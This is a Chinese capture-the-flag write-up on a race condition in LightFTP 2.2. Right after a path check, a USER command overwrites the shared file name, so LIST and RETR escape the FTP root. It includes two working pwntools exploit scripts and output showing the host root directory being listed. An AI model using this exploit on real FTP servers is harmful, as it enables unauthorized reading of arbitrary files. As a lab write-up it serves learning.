0%

条件竞争+FTP协议简析

NonHeavyFTP

1
2
3
4
5
6
7
8
fftp: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dd778d889ef0dab05153ea682e9ad1ad3d493130, for GNU/Linux 3.2.0, not stripped    
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/NonHeavyFTP/fftp'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

环境搭建

查看 Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
FROM ubuntu:22.04

ENV DEBIAN_FRONTEND noninteractive

RUN apt-get update &&\
apt-get install -y --no-install-recommends wget unzip gcc make libc6-dev gnutls-dev uuid

RUN mkdir -p /server/data/ &&\
echo "hello from LightFTP" >> /server/data/hello.txt &&\
cd /server &&\
wget --no-check-certificate https://codeload.github.com/hfiref0x/LightFTP/zip/refs/tags/v2.2 -O LightFTP-2.2.zip &&\
unzip LightFTP-2.2.zip &&\
cd LightFTP-2.2/Source/Release &&\
make &&\
cp -a ./fftp /server/ &&\
cd /server &&\
rm -rf LightFTP-2.2 LightFTP-2.2.zip

COPY ./flag /flag
COPY ./fftp.conf /server/fftp.conf

RUN mv /flag /flag.`uuid` &&\
useradd -M -d /server/ -U ftp

WORKDIR /server

EXPOSE 2121

CMD ["runuser", "-u", "ftp", "-g", "ftp", "/server/fftp", "/server/fftp.conf"]

搭建 docker 环境:

1
docker build -t "fftp" .

启动 docker:

1
docker run -it -p 2121:2121 fftp:latest /bin/sh

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[ftpconfig]
port=2121 /* 要将服务器绑定到的端口号 */
maxusers=10000000 /* 与服务器的最大连接数,可同时建立 */
interface=0.0.0.0 /* 要绑定到的接口IP,使用0.0.0.0侦听任何可用接口,默认值:127.0.0.1 */
local_mask=255.255.255.255 /* 本地网络的IP掩码,这将有助于服务器区分本地客户端和互联网客户端,默认值:255.255.255.0 */

minport=30000 /* 数据连接的端口范围,您可以使用它在网关设备上配置端口转发 */
maxport=60000

goodbyemsg=Goodbye!
keepalive=1 /* 发送激活数据包(某些NAT可能需要这样做) */

[anonymous]
pswd=* /* 表示“任何密码都匹配” */
accs=readonly /* 不允许登录 */
root=/server/data/
  • 开启了匿名登录

ftpLIST 函数中还有一个条件竞争漏洞,之后再谈

入侵思路

利用匿名登录漏洞可以直接连接服务器:

1673071731371

  • root=/server/data:把 ftp 服务端的目录设置为 /server/data

通过 Dockerfile 可以发现 flag 在根目录中,接下来的目标就是利用 ftp 服务器的功能来获取根目录中的 flag

  • 这篇博客中讲解了如何实现 ftp 客户端:c语言实现ftp客户端
  • 当然也可以使用 Linux 中的 ftp 命令来连接
  • 直接使用 pwntoolsremote 模块也行

分析 Dockerfile 可以发现:

  • flag 文件在根目录中,而我们只能控制 /server/data 目录
  • 接下来的目标就是跳出程序的限制,从而读取出 flag

本程序最关键的一个漏洞如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int ftpLIST(PFTPCONTEXT context, const char *params)
{

......

/* 验证目标目录路径 */
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

while (stat(context->FileName, &filestats) == 0)
{
if ( !S_ISDIR(filestats.st_mode) )
break;

sendstring(context, interm150);
writelogentry(context, " LIST", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

/* 创建list_thread线程来执行LIST命令 */
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))list_thread, context);

......

}

return sendstring(context, error550);
}
  • 先调用 ftp_effective_path 检查文件路径
  • 再创建 list_thread 来执行 LIST 命令

关于“被动模式”:

  • 当 FTP 处于“被动模式”时,数据将使用新套接字 socket 传输
  • create_datasocket 函数中(list_thread 中会调用这个函数),线程会卡在 accept 函数中,等待客户端连接
  • 当客户端进行连接时,它将读取 context->FileName 的文件目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *list_thread(PFTPCONTEXT context)
{
volatile SOCKET clientsocket;
gnutls_session_t TLS_datasession;
int ret;
DIR *pdir;
struct dirent *entry;

pthread_mutex_lock(&context->MTLock);
pthread_cleanup_push(cleanup_handler, context);
ret = 0;
TLS_datasession = NULL;

clientsocket = create_datasocket(context);
  • PFTPCONTEXT 是一个指针

在“被动模式”下,程序先检查文件路径,然后卡在 create_datasocket 函数中

如果此时修改 create_datasocket 函数的参数 context,就可以跳出 /server/data 的限制(已经检查过文件路径了)

具体可以使用 ftpUSER 函数来修改 context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int ftpUSER(PFTPCONTEXT context, const char *params)
{
if ( params == NULL )
return sendstring(context, error501);

context->Access = FTP_ACCESS_NOT_LOGGED_IN;

writelogentry(context, " USER: ", (char *)params);
snprintf(context->FileName, sizeof(context->FileName), "331 User %s OK. Password required\r\n", params);
sendstring(context, context->FileName);

/* Save login name to FileName for the next PASS command */
strcpy(context->FileName, params);
return 1;
}
  • PFTPCONTEXT 是一个指针,ftpUSERftpLIST 共享同一片空间的数据

测试脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding:utf-8 -*-
from pwn import *

ip = "127.0.0.1"
p = remote(ip,2121)

p.send("USER anonymous\r\n")
success(p.recv())
p.send("PASS 123456\r\n")
success(p.recv())

p.send("EPSV\r\n")
ret = p.recv()
success(ret)

if "Entering Extended Passive Mode" in ret:
parts = ret.split('|')
pport = int(parts[3])

success("Passive port: %s" % pport)

p.send("LIST \r\n")
p.send("USER / \r\n")

p2 = remote(ip,pport)

success(p.recv())
success("<------------------------------------>")
success(p2.recv())
  • 结果:(这里直接使用主机来进行测试了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
➜  NonHeavyFTP python exp.py
[+] Opening connection to 127.0.0.1 on port 2121: Done
[+] 220 LightFTP server ready
331 User anonymous OK. Password required
[+] 230 User logged in, proceed.
[+] 229 Entering Extended Passive Mode (|||33416|)
[+] Passive port: 33416
[+] Opening connection to 127.0.0.1 on port 33416: Done
[+] 150 File status okay; about to open data connection.
331 User / OK. Password required
[+] <------------------------------------>
[+] drwxrwxrwt 25 0 0 12288 Jan 12 13:25 tmp
lrwxrwxrwx 1 0 0 7 Aug 28 19:09 lib
drwxr-xr-x 142 0 0 12288 Jan 12 11:05 etc
lrwxrwxrwx 1 0 0 10 Aug 28 19:09 libx32
drwxr-xr-x 2 0 0 4096 Aug 09 19:48 srv
-rwxr-xr-x 1 0 0 14 Jan 12 13:20 flag
drwxrwxr-x 2 0 0 4096 Aug 28 19:12 cdrom
dr-xr-xr-x 400 0 0 0 Jan 12 11:00 proc
drwxr-xr-x 14 0 0 4096 Sep 06 16:40 usr
dr-xr-xr-x 13 0 0 0 Jan 12 11:00 sys
lrwxrwxrwx 1 0 0 9 Aug 28 19:09 lib64
drwxr-xr-x 3 0 0 4096 Oct 01 11:00 opt
drwxr-xr-x 3 0 0 4096 Aug 28 19:26 home
drwxr-xr-x 38 0 0 1040 Jan 12 13:21 run
drwxr-xr-x 3 0 0 4096 Jan 12 13:24 server
-rw------- 1 0 0 2147483648 Aug 28 19:09 swapfile
lrwxrwxrwx 1 0 0 9 Aug 28 19:09 lib32
drwxr-xr-x 19 0 0 4180 Jan 12 11:01 dev
drwx------ 2 0 0 16384 Aug 28 19:09 lost+found
drwx------ 6 0 0 4096 Sep 01 23:26 root
lrwxrwxrwx 1 0 0 7 Aug 28 19:09 bin
drwxr-xr-x 3 0 0 4096 Aug 28 19:37 media
drwxr-xr-x 12 0 0 4096 Sep 24 10:10 snap
drwxr-xr-x 5 0 0 4096 Aug 29 06:03 glibc
drwxr-xr-x 4 0 0 4096 Jan 07 10:01 boot
drwxr-xr-x 14 0 0 4096 Aug 09 19:54 var
drwxr-xr-x 3 0 0 4096 Aug 28 22:55 mnt
lrwxrwxrwx 1 0 0 8 Aug 28 19:09 sbin
[*] Closed connection to 127.0.0.1 port 33416
[*] Closed connection to 127.0.0.1 port 2121
  • 成功读取出主机的根目录文件

接下来分析实现下载功能的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int ftpRETR(PFTPCONTEXT context, const char *params)
{

......

/* 验证目标目录路径 */
ftp_effective_path(context->RootDir, context->CurrentDir, params, sizeof(context->FileName), context->FileName);

while (stat(context->FileName, &filestats) == 0)
{
if ( S_ISDIR(filestats.st_mode) )
break;

sendstring(context, interm150);
writelogentry(context, " RETR: ", (char *)params);
context->WorkerThreadAbort = 0;

pthread_mutex_lock(&context->MTLock);

/* 创建list_thread线程来执行RETR命令 */
context->WorkerThreadValid = pthread_create(&tid, NULL, (void * (*)(void *))retr_thread, context);

......

}

return sendstring(context, error550);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void *retr_thread(PFTPCONTEXT context)
{
volatile SOCKET clientsocket;
int sent_ok, f;
off_t offset;
ssize_t sz, sz_total;
size_t buffer_size;
char *buffer;
struct timespec t;
signed long long lt0, lt1, dtx;
gnutls_session_t TLS_datasession;

pthread_mutex_lock(&context->MTLock);
pthread_cleanup_push(cleanup_handler, context);

......

buffer = malloc(TRANSMIT_BUFFER_SIZE);
while (buffer != NULL)
{
clientsocket = create_datasocket(context);

下载函数 ftpRETR 中也有类似的条件竞争漏洞,可以用相同的方法来下载 flag 文件

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding:utf-8 -*-
from pwn import *

ip = "127.0.0.1"
p = remote(ip,2121)

p.send("USER anonymous\r\n")
success(p.recv())
p.send("PASS 123456\r\n")
success(p.recv())

p.send("EPSV\r\n")
ret = p.recv()
success(ret)

if "Entering Extended Passive Mode" in ret:
parts = ret.split('|')
pport = int(parts[3])

success("Passive port: %s" % pport)

p.send("RETR \r\n")
p.send("USER /flag \r\n")

p2 = remote(ip,pport)

success(p.recv())
success("<------------------------------------>")
success(p2.recv())

小结:

这种题目就比较贴合现实漏洞利用了,涨见识了